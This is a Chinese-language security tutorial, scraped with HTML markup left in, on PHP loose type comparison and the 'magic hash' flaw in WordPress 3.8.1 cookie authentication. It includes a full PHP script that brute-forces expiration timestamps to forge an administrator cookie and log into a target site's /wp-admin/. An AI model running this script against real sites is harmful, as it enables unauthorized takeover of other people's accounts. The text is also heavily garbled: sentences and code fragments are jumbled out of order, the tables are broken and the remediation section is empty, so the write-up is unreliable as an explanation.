1 PHP弱类型
PHP是弱类型语言，所以变量会因为使用场景的不同自动进行类型转换。PHP中用 == 以及 ！= 进行相等判断时，会自动进行类型转换，用 === 以及 ！== 进行判断时不会自动转换类型。
<span>1</span> <?<span>php </span><span>2</span> <span>$a</span> = 3<span>; </span><span>3</span> <span>$b</span> = '3vic'<span>; </span><span>4</span> <span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span> <span>5</span> <span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span> <span>6</span> <span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span> <span>7</span> <span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span> <span>8</span> ?>
说明：在PHP中字符串转换成整型时，如果是数字开头就会转换成前面的数字（'3vic' -> 3），如果不是数字开头，那么就会转换成0（'vic' -> 0）
2 WordPress代码
<span>1</span> <?<span>php
</span><span>2</span> <span>//</span><span> WordPress 3.8.1</span>
<span>3</span> <span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span> <span>//</span><span> WordPress 3.8.2</span>
<span>5</span> <span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) ) {}
</span><span>6</span> ?>客户端后台只验证其中的一条Cookie，如下所示
wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly
其中Cookie名 wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 格式为 wordpress_ md5(siteurl) 其中siteurl为WordPress的网址，此处网站地址为<code><span>http://www.test.ichunqiu</span>,http://www.test.ichunqiu<span>c47f4a97d0321c1980bb76fc00d1e78f</span>,md5加密后为</p>c47f4a97d0321c1980bb76fc00d1e78f<p>，其它部分也可省。
| 对应变量 | $username | $expiration | $hmac |
| cookies | admin | 1433403595 | cf50f3b50eed94dd0fdc3d3ea2c7bbb |
| 对应变量 | $username | $expiration |
|
| cookies | admin | 1433403595<span>1</span> <?<span>php
</span><span>2</span> <span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>);
</span><span>3</span> <span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>);
</span><span>4</span> <span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) {
</span><span>5</span> do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>);
</span><span>6</span> <span>return</span> <span>false</span><span>;
</span><span>7</span> }登录后复制 |
cf50f3b50eed94dd0fdc3d3ea2c7bbb |
$expiration
<span>$expiration </span>
分析验证登录$hash
代码 用户名，$expiration$hmac == $hash 有效期，又因为其中用户名是固定的，因此只有$hmac 是可控的，所以我们可以从改变 </span>$expiration <code><span>$hash</span> 的方法来改变$hmac 。
if ( $hmac != $hash ) {
结合PHP Hash <span>var_dump($hmac);die()</span>;比较缺陷分析 WordPress$hmac
有以下几种可能使string '0' 为真，字符串完全相等或者 int 0
<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="code"><span>1</span> <?<span>php
</span><span>2</span> <span>var_dump</span>('0' == '0e156464513131');<span>//</span><span>true</span></pre><div class="contentsignin">登录后复制</div></div>$hash<p> 为以字符开头的字符串; 将客户端的Cookie中 0e156464513131 值改为0，然后在$hash 的上面一行写入<code><span>$hmac</span> var_dump($hmac);die();发现打印出来 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 的结果是 $hash 而不是， 那么有没有方法使字符串识别为整数呢，代码如下：
其中的 会被识别为0乘以10的156464513131次方，还是得0；因此当
<span> 1</span> <?<span>php
</span><span> 2</span> <span>/*</span>
<span> 3</span>
<span> 4</span> <span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
</span><span> 5</span> <span>传入两个值
</span><span> 6</span> <span> WordPress 的主页 $host
</span><span> 7</span> <span> 管理员用户名 $root
</span><span> 8</span> <span>*/</span>
<span> 9</span> <span>header</span>("Content-type:text/html;charset=utf-8"<span>);
</span><span>10</span>
<span>11</span> <span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span>
<span>12</span> <span>$root</span> = 'user';<span>//</span><span>管理员用户名</span>
<span>13</span>
<span>14</span> <span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址 </span>
<span>15</span> <span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>);
</span><span>16</span>
<span>17</span> <span>echo</span> "\nWelcome\n\n"<span>;
</span><span>18</span> <span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span>
<span>19</span> <span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
</span><span>20</span> <span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span>
<span>21</span> <span>$header</span> = <span>array</span><span>(
</span><span>22</span> "Content-Type:application/x-www-form-urlencoded",
<span>23</span> 'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
<span>24</span> "Cookie:".<span>$cookie</span>,
<span>25</span> <span> );
</span><span>26</span>
<span>27</span> <span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话 </span>
<span>28</span> curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span>
<span>29</span> curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转 </span>
<span>30</span> curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer </span>
<span>31</span> curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求 </span>
<span>32</span> curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息 </span>
<span>33</span> curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span>
<span>34</span> curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
</span><span>35</span> curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);
</span><span>36</span> curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span>
<span>37</span> <span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span>
<span>38</span> <span>if</span> (curl_errno(<span>$curl</span><span>)) {
</span><span>39</span> <span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);
</span><span>40</span> <span> }
</span><span>41</span> curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
</span><span>42</span>
<span>43</span> <span> //匹配结果</span>
<span>44</span> <span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
</span><span>45</span> <span>echo</span> "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
</span><span>46</span> <span>break</span><span>;
</span><span>47</span> }<span>else</span><span>{
</span><span>48</span> <span>echo</span> 'fail : '.<span>$cookie</span>."\n"<span>;
</span><span>49</span> <span> }
</span><span>50</span>
<span>51</span> <span> }
</span><span>52</span> ?> 以0e开头后面全是数字时就会与 <span>$hmac<span> </span></span>的值为 '0' 时相等，所以我们可以将客户端的Cookie设置为类似 然后不断更新过期时间（现在1433403595的位置）的方法来碰撞服务器端，一旦 的值为0e开头后面全是数字即可验证通过。假设碰撞成功，就修改浏览器的Cookie，直接访问后台地址，就可以成功登陆后台。
3 测试脚本
通过改变客户端Cookie里过期时间的值，不断尝试登录后台，找出可以进入后台的时间戳，从而实现Cookie伪造登录后台。
说明
：理论上32位的MD5值以0e开头的大概三亿分之一，碰撞到可以利用的 <span>$expiration </span>几率极低。
5 修复方案
